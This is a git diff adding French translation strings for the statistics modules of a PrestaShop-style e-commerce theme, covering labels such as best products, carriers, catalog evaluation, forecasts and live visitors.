+$_MODULE['<{statsbestproducts}default>statsbestproducts_6e71d214907cd43403f4bbde5731a9a3'] = 'Quantités disponibles à la vente'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_b9ef20f6c20406b631db52374a519b1f'] = 'Meilleurs produits'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_dec6192cbc59ba37d38a3fdc5c3ed7f7'] = 'Liste des meilleurs produits'; +$_MODULE['<{statsbestproducts}default>statsbestproducts_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/themes/default/modules/statsbestsuppliers/translations/en.php b/themes/default/modules/statsbestsuppliers/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsbestsuppliers/translations/fr.php b/themes/default/modules/statsbestsuppliers/translations/fr.php new file mode 100755 index 0000000..9c5f171 --- /dev/null +++ b/themes/default/modules/statsbestsuppliers/translations/fr.php @@ -0,0 +1,12 @@ +statsbestsuppliers_b5f5c19c8729b639d4d2a256fcb01a10'] = 'Aucun résultat'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_2a0440eec72540c5b30d9199c01f348c'] = 'Quantité'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_ea067eb37801c5aab1a1c685eb97d601'] = 'Ventes'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_cc3eb9ba7d0e236f33023a4744d0693a'] = 'Meilleurs fournisseurs'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_0fbee5f62b2695e84a5eb275bcf98c6f'] = 'Liste des meilleurs fournisseurs'; +$_MODULE['<{statsbestsuppliers}default>statsbestsuppliers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/themes/default/modules/statsbestvouchers/translations/en.php b/themes/default/modules/statsbestvouchers/translations/en.php new file mode 100755 index 0000000..56f6c43 --- /dev/null +++ b/themes/default/modules/statsbestvouchers/translations/en.php @@ -0,0 +1,11 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Chiffre d\'affaire'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilisé'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Liste des meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/themes/default/modules/statsbestvouchers/translations/fr.php b/themes/default/modules/statsbestvouchers/translations/fr.php new file mode 100755 index 0000000..a82c8ad --- /dev/null +++ b/themes/default/modules/statsbestvouchers/translations/fr.php @@ -0,0 +1,12 @@ +statsbestvouchers_4f29d8c727dcf2022ac241cb96c31083'] = 'Aucun résultat'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_f5c493141bb4b2508c5938fd9353291a'] = 'Affichage de %1$s de %2$s'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_df25596dc94d556af2f1823725118572'] = 'Total utilisé'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_b769cee333527b8dc6f3f67882e35a0b'] = 'Meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_8fc8a29113479bf76f0917c51795ca99'] = 'Liste des meilleurs coupons de réduction'; +$_MODULE['<{statsbestvouchers}default>statsbestvouchers_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; diff --git a/themes/default/modules/statscarrier/translations/en.php b/themes/default/modules/statscarrier/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statscarrier/translations/fr.php b/themes/default/modules/statscarrier/translations/fr.php new file mode 100755 index 0000000..b03e0f3 --- /dev/null +++ b/themes/default/modules/statscarrier/translations/fr.php @@ -0,0 +1,12 @@ +statscarrier_2e6774abc54cb13cef2c5bfd5a2cb463'] = 'Répartition par transporteur'; +$_MODULE['<{statscarrier}default>statscarrier_c521b5a8b0e2966709e4338368e59054'] = 'Affiche la répartition des commandes par transporteur'; +$_MODULE['<{statscarrier}default>statscarrier_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Tout afficher'; +$_MODULE['<{statscarrier}default>statscarrier_d7778d0c64b6ba21494c97f77a66885a'] = 'Filtrer'; +$_MODULE['<{statscarrier}default>statscarrier_b4db3f09700b25a1acc487d3488d0216'] = 'Ce graphique représente la répartition des transporteurs pour vos commandes. Il est également possible de filtrer par état de commande.'; +$_MODULE['<{statscarrier}default>statscarrier_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statscarrier}default>statscarrier_ae916988f1944283efa2968808a71287'] = 'Aucune commande valide pour cette période.'; +$_MODULE['<{statscarrier}default>statscarrier_d5b9d0daaf017332f1f8188ab2a3f802'] = 'Pourcentage de commandes par transporteur'; diff --git a/themes/default/modules/statscatalog/translations/en.php b/themes/default/modules/statscatalog/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statscatalog/translations/fr.php b/themes/default/modules/statscatalog/translations/fr.php new file mode 100755 index 0000000..206ec7e --- /dev/null +++ b/themes/default/modules/statscatalog/translations/fr.php @@ -0,0 +1,25 @@ +statscatalog_cf3aa21c6a2147ddbd86f34091daeccd'] = 'Statistiques du catalogue'; +$_MODULE['<{statscatalog}default>statscatalog_226ed1224c5b2db3d3e0716bb4f74da5'] = 'Statistiques générales sur le catalogue'; +$_MODULE['<{statscatalog}default>statscatalog_74cda5a02df704cc5c3e8fee7fc0f7bc'] = '(1 achat / %d visites)'; +$_MODULE['<{statscatalog}default>statscatalog_0173374ac20f5843d58b553d5b226ef6'] = 'Choisissez une catégorie'; +$_MODULE['<{statscatalog}default>statscatalog_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{statscatalog}default>statscatalog_a7b623414d4b6a3225b4e935babec6d2'] = 'Produits disponibles :'; +$_MODULE['<{statscatalog}default>statscatalog_1099377f1598a0856e2457a5145d89c2'] = 'Prix moyen (HT) :'; +$_MODULE['<{statscatalog}default>statscatalog_48a93dc02c74f3065af1ba47fca070d0'] = 'Pages produit vues :'; +$_MODULE['<{statscatalog}default>statscatalog_156e5c5872c9af24a5c982da07a883c2'] = 'Produits achetés :'; +$_MODULE['<{statscatalog}default>statscatalog_85f179d4142ca061d49605a7fffdc09d'] = 'Nombre moyen de visites :'; +$_MODULE['<{statscatalog}default>statscatalog_05ff4bfc3baf0acd31a72f1ac754de04'] = 'Nombre moyen d\'achats :'; +$_MODULE['<{statscatalog}default>statscatalog_c09d09e371989d89847049c9574b6b8e'] = 'Images disponibles :'; +$_MODULE['<{statscatalog}default>statscatalog_65275d1b04037d8c8e42425002110363'] = 'Nombre moyen d\'images :'; +$_MODULE['<{statscatalog}default>statscatalog_51b8891d531ad91128ba58c8928322ab'] = 'Produits jamais consultés :'; +$_MODULE['<{statscatalog}default>statscatalog_8725647ef741e5d48c1e6f652ce80b50'] = 'Produits jamais achetés :'; +$_MODULE['<{statscatalog}default>statscatalog_b86770bc713186bcf43dbb1164c5fd28'] = 'Taux de transformation* :'; +$_MODULE['<{statscatalog}default>statscatalog_0468e0edbf9f5807c25c106248bd7401'] = 'Taux de transformation moyen pour une page produit. Un produit pouvant être acheté sans passer par sa page dédiée, cet indicateur peut être supérieur à 1.'; +$_MODULE['<{statscatalog}default>statscatalog_58a714d3e9bb2902a5b688c99bd4d8e6'] = 'Produits jamais achetés'; +$_MODULE['<{statscatalog}default>statscatalog_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statscatalog}default>statscatalog_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statscatalog}default>statscatalog_8e7c9a35104a5a68199678bd6bc5d187'] = 'Modifier / Voir'; diff --git a/themes/default/modules/statscheckup/translations/en.php b/themes/default/modules/statscheckup/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statscheckup/translations/fr.php b/themes/default/modules/statscheckup/translations/fr.php new file mode 100755 index 0000000..4e60874 --- /dev/null +++ b/themes/default/modules/statscheckup/translations/fr.php @@ -0,0 +1,30 @@ +statscheckup_e7a908d79d3758c911692ba791da9c70'] = 'Évaluation du catalogue'; +$_MODULE['<{statscheckup}default>statscheckup_24f870376156be0e8e22cfb94d29df6d'] = 'Voir la qualité de votre catalogue en un clin d\'oeil.'; +$_MODULE['<{statscheckup}default>statscheckup_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{statscheckup}default>statscheckup_7ff3e75ce6aca348bc513ed3d5882946'] = 'mauvais'; +$_MODULE['<{statscheckup}default>statscheckup_b1897515d548a960afe49ecf66a29021'] = 'moyen'; +$_MODULE['<{statscheckup}default>statscheckup_0c6ad70beb3a7e76c3fc7adab7c46acc'] = 'bon'; +$_MODULE['<{statscheckup}default>statscheckup_619a1efbedc7855aa27c0a50579c104e'] = 'Aucun produit trouvé'; +$_MODULE['<{statscheckup}default>statscheckup_8bc84316c4078bf66723fd019616d920'] = 'Descriptions'; +$_MODULE['<{statscheckup}default>statscheckup_aed2078f8eaaf31e013a3c24618cb130'] = 'caractères (sans HTML)'; +$_MODULE['<{statscheckup}default>statscheckup_fff0d600f8a0b5e19e88bfb821dd1157'] = 'Images'; +$_MODULE['<{statscheckup}default>statscheckup_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{statscheckup}default>statscheckup_c3917e1f7138a24c6dc954fe81b86679'] = 'commandes / mois'; +$_MODULE['<{statscheckup}default>statscheckup_7bd5825a187064017975513b95d7f7de'] = 'Quantités disponibles à la vente'; +$_MODULE['<{statscheckup}default>statscheckup_9dea4016dbcc290b773ab2fae678aaa8'] = 'articles'; +$_MODULE['<{statscheckup}default>statscheckup_dc270bcf468689b19074a5eef7581b52'] = 'Insuffisant'; +$_MODULE['<{statscheckup}default>statscheckup_f4abc77d498c89880f67331609406774'] = 'Parfait'; +$_MODULE['<{statscheckup}default>statscheckup_ad647e4ae904c7ed54ee93040d8298c7'] = 'inférieur à'; +$_MODULE['<{statscheckup}default>statscheckup_05824b7be006782aaefd1fdb97c71e06'] = 'supérieur à'; +$_MODULE['<{statscheckup}default>statscheckup_38fb7d24e0d60a048f540ecb18e13376'] = 'Enregistrer'; +$_MODULE['<{statscheckup}default>statscheckup_01fda57aa6c7e9f07f5aa36b108e95cb'] = 'Trier par'; +$_MODULE['<{statscheckup}default>statscheckup_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statscheckup}default>statscheckup_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statscheckup}default>statscheckup_7d74f3b92b19da5e606d737d339a9679'] = 'Article'; +$_MODULE['<{statscheckup}default>statscheckup_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Actif'; +$_MODULE['<{statscheckup}default>statscheckup_3f74e68055b1123e5d7deb32cd8b0b1b'] = 'Desc.'; +$_MODULE['<{statscheckup}default>statscheckup_4cc6684df7b4a92b1dec6fce3264fac8'] = 'Global'; diff --git a/themes/default/modules/statsdata/translations/en.php b/themes/default/modules/statsdata/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsdata/translations/fr.php b/themes/default/modules/statsdata/translations/fr.php new file mode 100755 index 0000000..30827a6 --- /dev/null +++ b/themes/default/modules/statsdata/translations/fr.php @@ -0,0 +1,17 @@ +statsdata_a51950bf91ba55cd93a33ce3f8d448c2'] = 'Récupération des données statistiques'; +$_MODULE['<{statsdata}default>statsdata_c77dfd683d0d76940e5e04cb24e8bce1'] = 'Ce module doit être activé pour bénéficier des statistiques.'; +$_MODULE['<{statsdata}default>statsdata_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{statsdata}default>statsdata_f4f70727dc34561dfde1a3c529b6205c'] = 'Configuration'; +$_MODULE['<{statsdata}default>statsdata_1a5b75c4be3c0100c99764b21e844cc8'] = 'Enregistrer les pages vues pour chaque client'; +$_MODULE['<{statsdata}default>statsdata_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{statsdata}default>statsdata_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{statsdata}default>statsdata_f3e159134846bd13c0c967f361229233'] = 'Les pages vues des clients consomment beaucoup de ressources processeur et d\'espace en base de données.'; +$_MODULE['<{statsdata}default>statsdata_b368e11d9d23b26f1fb4a1b78584560d'] = 'Enregistrer les pages vues globales'; +$_MODULE['<{statsdata}default>statsdata_339acfd90b82e91ce9141ec75e4bff24'] = 'Les pages vues nécessitent moins de ressources que le détail par client, mais en nécessitent néanmoins une certaine quantité.'; +$_MODULE['<{statsdata}default>statsdata_c0e4406117ba4c29c4d66e3069ebf3d3'] = 'Détection des plug-ins'; +$_MODULE['<{statsdata}default>statsdata_7a6cf506bde903b2b30c0a4cbcfa0291'] = 'La détection des plug-ins charge un fichier JavaScript de 20 ko supplémentaire pour les nouveaux visiteurs.'; +$_MODULE['<{statsdata}default>statsdata_06933067aafd48425d67bcb01bba5cb6'] = 'Mettre à jour'; diff --git a/themes/default/modules/statsequipment/translations/en.php b/themes/default/modules/statsequipment/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsequipment/translations/fr.php b/themes/default/modules/statsequipment/translations/fr.php new file mode 100755 index 0000000..04a1956 --- /dev/null +++ b/themes/default/modules/statsequipment/translations/fr.php @@ -0,0 +1,14 @@ +statsequipment_719d067b229178f03bcfa1da4ac4dede'] = 'Équipement'; +$_MODULE['<{statsequipment}default>statsequipment_236d6d0b5cc4428f346c235e0c60faaa'] = 'Affiche l\'équipement de vos visiteurs.'; +$_MODULE['<{statsequipment}default>statsequipment_d36312e9992d0b03780a32fedd6650b7'] = 'Déterminez la répartition des navigateurs web utilisés par vos clients.'; +$_MODULE['<{statsequipment}default>statsequipment_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsequipment}default>statsequipment_c560add3373d03ea2723069fb428719a'] = 'Déterminez la répartition des systèmes d\'exploitation utilisés par vos clients.'; +$_MODULE['<{statsequipment}default>statsequipment_bb38096ab39160dc20d44f3ea6b44507'] = 'Extensions'; +$_MODULE['<{statsequipment}default>statsequipment_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsequipment}default>statsequipment_501361472d0528ee07f202297f599d40'] = 'Veillez à ce que votre site soit accessible à tous.'; +$_MODULE['<{statsequipment}default>statsequipment_ef83f5147398f2735fddfaac983983d7'] = 'Navigateurs utilisés'; +$_MODULE['<{statsequipment}default>statsequipment_0a66f998cfad4890a14c9b9a1df8deb3'] = 'Systèmes d\'exploitation utilisés'; diff --git a/themes/default/modules/statsforecast/translations/en.php b/themes/default/modules/statsforecast/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsforecast/translations/fr.php b/themes/default/modules/statsforecast/translations/fr.php new file mode 100755 index 0000000..08ce56a --- /dev/null +++ b/themes/default/modules/statsforecast/translations/fr.php @@ -0,0 +1,56 @@ +statsforecast_240c994d8b61c7bd68ac1c5182bbdb2e'] = 'Tableau de bord statistiques'; +$_MODULE['<{statsforecast}default>statsforecast_72c24d8aa8b0a7a47035b1e9d905b582'] = 'Tous les montants sont exprimés HT.'; +$_MODULE['<{statsforecast}default>statsforecast_1ee1c44c2dc81681f961235604247b81'] = 'Mode :'; +$_MODULE['<{statsforecast}default>statsforecast_03727ac48595a24daed975559c944a44'] = 'Jour'; +$_MODULE['<{statsforecast}default>statsforecast_d2ce009594dcc60befa6a4e6cbeb71fc'] = 'Semaine'; +$_MODULE['<{statsforecast}default>statsforecast_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{statsforecast}default>statsforecast_537c66b24ef5c83b7382cdc3f34885f2'] = 'Année'; +$_MODULE['<{statsforecast}default>statsforecast_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{statsforecast}default>statsforecast_591411cc8927851db2002208676d8330'] = 'Insc.'; +$_MODULE['<{statsforecast}default>statsforecast_12c500ed0b7879105fb46af0f246be87'] = 'Com.'; +$_MODULE['<{statsforecast}default>statsforecast_9dea4016dbcc290b773ab2fae678aaa8'] = 'Prods.'; +$_MODULE['<{statsforecast}default>statsforecast_e46b5c15331f34b9ff653fdf1ea0a7f0'] = '% Insc.'; +$_MODULE['<{statsforecast}default>statsforecast_1d34a18a13e480b0aa6a799bb8a49c1b'] = '% Com.'; +$_MODULE['<{statsforecast}default>statsforecast_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'CA'; +$_MODULE['<{statsforecast}default>statsforecast_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{statsforecast}default>statsforecast_b1897515d548a960afe49ecf66a29021'] = 'Moyenne'; +$_MODULE['<{statsforecast}default>statsforecast_89c1265be62d3ba835a3d963db5956b0'] = 'Prévisions'; +$_MODULE['<{statsforecast}default>statsforecast_3bb1503332637805beddb73a2dd1fe1b'] = 'Conversion'; +$_MODULE['<{statsforecast}default>statsforecast_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; +$_MODULE['<{statsforecast}default>statsforecast_9b945efebb006547a94415eadaa12921'] = 'Comptes'; +$_MODULE['<{statsforecast}default>statsforecast_fc26e55e0993a75e892175deb02aae15'] = 'Paniers'; +$_MODULE['<{statsforecast}default>statsforecast_87cac5a0b60008003ccf46dc1d49e0c3'] = 'Paniers complets'; +$_MODULE['<{statsforecast}default>statsforecast_5a9e532b24379dca2ab0e973172a78e1'] = 'Visiteurs inscrits'; +$_MODULE['<{statsforecast}default>statsforecast_b4aec469184819e8369588e5d84b38fb'] = 'Monétisation des visiteurs'; +$_MODULE['<{statsforecast}default>statsforecast_38f2d5f34a773b7c0668f03e6b8eb6dc'] = 'Chaque visiteur rapporte en moyenne'; +$_MODULE['<{statsforecast}default>statsforecast_8ca76c564cccfd5a2ff4d2e08f46db5a'] = 'Chaque visiteur inscrit rapporte en moyenne'; +$_MODULE['<{statsforecast}default>statsforecast_3fa6443ce3f838b6901b70cd812abf0d'] = 'Répartition par modes de paiement'; +$_MODULE['<{statsforecast}default>statsforecast_dd6e1ab3a8a2c8cb93d0dde0f512f4c4'] = 'Les montants sont TTC de sorte à ce que vous puissiez avoir une estimation de la commission due au service de paiement utilisé.'; +$_MODULE['<{statsforecast}default>statsforecast_e6e42855066e7a3ae050b2c698021b14'] = 'Zone :'; +$_MODULE['<{statsforecast}default>statsforecast_5ed26836c96d7dcae8a40307e8e250c3'] = '-- Aucun filtre --'; +$_MODULE['<{statsforecast}default>statsforecast_e55f75a29310d7b60f7ac1d390c8ae42'] = 'Module'; +$_MODULE['<{statsforecast}default>statsforecast_e93f994f01c537c4e2f7d8528c3eb5e9'] = 'Nb'; +$_MODULE['<{statsforecast}default>statsforecast_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier'; +$_MODULE['<{statsforecast}default>statsforecast_f13877f6ad53ce91fcb20fb8b7969698'] = 'Répartition par catégories'; +$_MODULE['<{statsforecast}default>statsforecast_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Catégorie'; +$_MODULE['<{statsforecast}default>statsforecast_52f39d7c5cad5c1550553385f55277ae'] = '% Nb'; +$_MODULE['<{statsforecast}default>statsforecast_41b63feded4acc3719f9bcd016388324'] = '% CA'; +$_MODULE['<{statsforecast}default>statsforecast_a170b5c062acab0443b1110292e38b26'] = 'Prix moyen'; +$_MODULE['<{statsforecast}default>statsforecast_88183b946cc5f0e8c96b2e66e1c74a7e'] = 'Inconnu'; +$_MODULE['<{statsforecast}default>statsforecast_f1dd68fb6a00d3e4d7f751deacde995d'] = 'Répartition par langues'; +$_MODULE['<{statsforecast}default>statsforecast_4b6f7d34a58ba399f077685951d06738'] = 'Clients'; +$_MODULE['<{statsforecast}default>statsforecast_0bcef9c45bd8a48eda1b26eb0c61c869'] = '%'; +$_MODULE['<{statsforecast}default>statsforecast_699aed86dada6ca01ef74013a4464066'] = 'Evolution'; +$_MODULE['<{statsforecast}default>statsforecast_07aa83862ec591697b4325b66d36a78b'] = 'Répartition par zones'; +$_MODULE['<{statsforecast}default>statsforecast_b3ff996fe5c77610359114835baf9b38'] = 'Zone'; +$_MODULE['<{statsforecast}default>statsforecast_ec0fc0100c4fc1ce4eea230c3dc10360'] = 'Indéfini'; +$_MODULE['<{statsforecast}default>statsforecast_28e81c8343702f6c813cc31a7f90616a'] = 'Répartition par devises'; +$_MODULE['<{statsforecast}default>statsforecast_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{statsforecast}default>statsforecast_61569923d8075889a162c4e603258e6e'] = 'CA (converti)'; +$_MODULE['<{statsforecast}default>statsforecast_8471eed257db7258f935588a664ba4f3'] = 'Répartition des ventes par attributs'; +$_MODULE['<{statsforecast}default>statsforecast_03937134cedab9078be39a77ee3a48a0'] = 'Groupe'; +$_MODULE['<{statsforecast}default>statsforecast_f2bbdf9f72c085adc4d0404e370f0f4c'] = 'Attribut'; diff --git a/themes/default/modules/statslive/translations/en.php b/themes/default/modules/statslive/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statslive/translations/fr.php b/themes/default/modules/statslive/translations/fr.php new file mode 100755 index 0000000..7e4ea0d --- /dev/null +++ b/themes/default/modules/statslive/translations/fr.php @@ -0,0 +1,22 @@ +statslive_fa55230e9791f2b71322869318a5f00f'] = 'Visiteurs en ligne'; +$_MODULE['<{statslive}default>statslive_b8a5ea9b6e7f2d0b56fbb18e5b6b9246'] = 'Affiche la liste des clients et visiteurs en ligne actuellement.'; +$_MODULE['<{statslive}default>statslive_e6214c05e17c56f81e4a56f4c4fdce8c'] = 'Vous devez activer l\'option \"pages vues pour chaque client\" dans le module \"Récupération des données statistiques\" pour visualiser les pages consultées par vos clients.'; +$_MODULE['<{statslive}default>statslive_5c948349bdf1a7a77ba54497d019e4ca'] = 'Clients en ligne'; +$_MODULE['<{statslive}default>statslive_66c4c5112f455a19afde47829df363fa'] = 'Total :'; +$_MODULE['<{statslive}default>statslive_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statslive}default>statslive_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statslive}default>statslive_f88589c3e803217e3f6fe9d8e740e6e8'] = 'Page en cours'; +$_MODULE['<{statslive}default>statslive_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{statslive}default>statslive_4ce4b5e9a6a3e91ac46dec882a36e0db'] = 'Il n\'y a aucun client en ligne en ce moment.'; +$_MODULE['<{statslive}default>statslive_adb831a7fdd83dd1e2a309ce7591dff8'] = 'Visiteur'; +$_MODULE['<{statslive}default>statslive_a12a3079e14ced46e69ba52b8a90b21a'] = 'IP'; +$_MODULE['<{statslive}default>statslive_38c50b731f70abc42c8baa3e7399b413'] = 'Depuis'; +$_MODULE['<{statslive}default>statslive_13aa8652e950bb7c4b9b213e6d8d0dc5'] = 'Page en cours'; +$_MODULE['<{statslive}default>statslive_b6f05e5ddde1ec63d992d61144452dfa'] = 'Origine'; +$_MODULE['<{statslive}default>statslive_ec0fc0100c4fc1ce4eea230c3dc10360'] = 'Indéfini'; +$_MODULE['<{statslive}default>statslive_6adf97f83acf6453d4a6a4b1070f3754'] = 'aucun'; +$_MODULE['<{statslive}default>statslive_a55533db46597bee3cd16899c007257e'] = 'Il n\'y a aucun visiteur en ligne actuellement.'; diff --git a/themes/default/modules/statsnewsletter/translations/en.php b/themes/default/modules/statsnewsletter/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsnewsletter/translations/fr.php b/themes/default/modules/statsnewsletter/translations/fr.php new file mode 100755 index 0000000..1e820cc --- /dev/null +++ b/themes/default/modules/statsnewsletter/translations/fr.php @@ -0,0 +1,15 @@ +statsnewsletter_ffb7e666a70151215b4c55c6268d7d72'] = 'Newsletter'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_02fdcd14459a8b5b8b0e3ac877bcf732'] = 'Affiche les inscriptions à la newsletter'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_61a898af87607e3f4d41c3613d8761c7'] = 'Inscriptions depuis le compte client :'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_7fe462207f98012d9ff00cf0e6633c94'] = 'Inscriptions depuis le bloc sur le front-office :'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_64342cd480b27dfeefb08bace6e82fdc'] = 'Les deux :'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_116858de0aefceca03e4f05150e5084b'] = 'Le module bloc Newsletter doit être installé'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_cf74c2815ab62be1efa55a4a5d3f46a4'] = 'Statistiques de la newsletter'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_4b6f7d34a58ba399f077685951d06738'] = 'Clients'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; +$_MODULE['<{statsnewsletter}default>statsnewsletter_130c5b3473c57faa76e2a1c54e26f88e'] = 'Les deux'; diff --git a/themes/default/modules/statsorigin/translations/en.php b/themes/default/modules/statsorigin/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statsorigin/translations/fr.php b/themes/default/modules/statsorigin/translations/fr.php new file mode 100755 index 0000000..1bc9add --- /dev/null +++ b/themes/default/modules/statsorigin/translations/fr.php @@ -0,0 +1,21 @@ +statsorigin_f0b1507c6bdcdefb60a0e6f9b89d4ae8'] = 'Sites affluents'; +$_MODULE['<{statsorigin}default>statsorigin_009c731e158a4235be55aaeea5c05e49'] = 'Affiche les sites d\'origine de vos visiteurs'; +$_MODULE['<{statsorigin}default>statsorigin_14542f5997c4a02d4276da364657f501'] = 'Lien direct'; +$_MODULE['<{statsorigin}default>statsorigin_3edf8ca26a1ec14dd6e91dd277ae1de6'] = 'Origine'; +$_MODULE['<{statsorigin}default>statsorigin_d7b5bac28f53a30e9d831b6a7fa2f484'] = 'Pourcentage des 10 meilleurs sites affluents par lesquels les visiteurs passent pour accéder à votre boutique.'; +$_MODULE['<{statsorigin}default>statsorigin_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsorigin}default>statsorigin_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{statsorigin}default>statsorigin_0bebf95ee829c33f34fde535ed4ed100'] = 'Liens directs uniquement'; +$_MODULE['<{statsorigin}default>statsorigin_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsorigin}default>statsorigin_cec998cc46cd200fa97490137de2cc7f'] = 'Qu\'est-ce qu\'un site affluent (référant) ?'; +$_MODULE['<{statsorigin}default>statsorigin_77de261cf4c31a96146bcf1b52fd9856'] = 'Lorsqu\'un internaute visite une page web, le site affluent est l\'URL du lien qu\'a suivi le visiteur pour accéder à sa page web actuelle.'; +$_MODULE['<{statsorigin}default>statsorigin_bb49f80b601ed472d433b934244b0afd'] = 'Un référant vous permet de savoir quels sont les mots-clés tapés par les visiteurs dans les moteurs de recherche quand ils tentent d\'aller sur votre boutique ; et ainsi d\'optimiser le référencement de votre boutique.'; +$_MODULE['<{statsorigin}default>statsorigin_af19c8da1c414055c960a73d86471119'] = 'Un référant peut être :'; +$_MODULE['<{statsorigin}default>statsorigin_c227be237c874ba6b2f8771d7b66b90e'] = 'quelqu\'un qui a mis un lien de votre boutique sur son site'; +$_MODULE['<{statsorigin}default>statsorigin_ea87a2280d5cdb638a2727147a3dd85c'] = 'un partenaire avec lequel vous avez fait un échange de lien visant à rapporter des ventes ou attirer de nouveaux clients'; +$_MODULE['<{statsorigin}default>statsorigin_450a7e38e636dd49f5dfb356f96d3996'] = '10 premiers sites'; +$_MODULE['<{statsorigin}default>statsorigin_52ef9633d88a7480b3a938ff9eaa2a25'] = 'Autres'; diff --git a/themes/default/modules/statspersonalinfos/translations/en.php b/themes/default/modules/statspersonalinfos/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/statspersonalinfos/translations/fr.php b/themes/default/modules/statspersonalinfos/translations/fr.php new file mode 100755 index 0000000..ecae158 --- /dev/null +++ b/themes/default/modules/statspersonalinfos/translations/fr.php @@ -0,0 +1,36 @@ +statspersonalinfos_1b94af23fd8ea879910a6307460ebba4'] = 'Informations clients'; +$_MODULE['<{statspersonalinfos}default>statspersonalinfos_ff9c34d2829b95a0936b22b409640143'] = 'Affiche la répartition de vos clients par âge, sexe ou pays'; 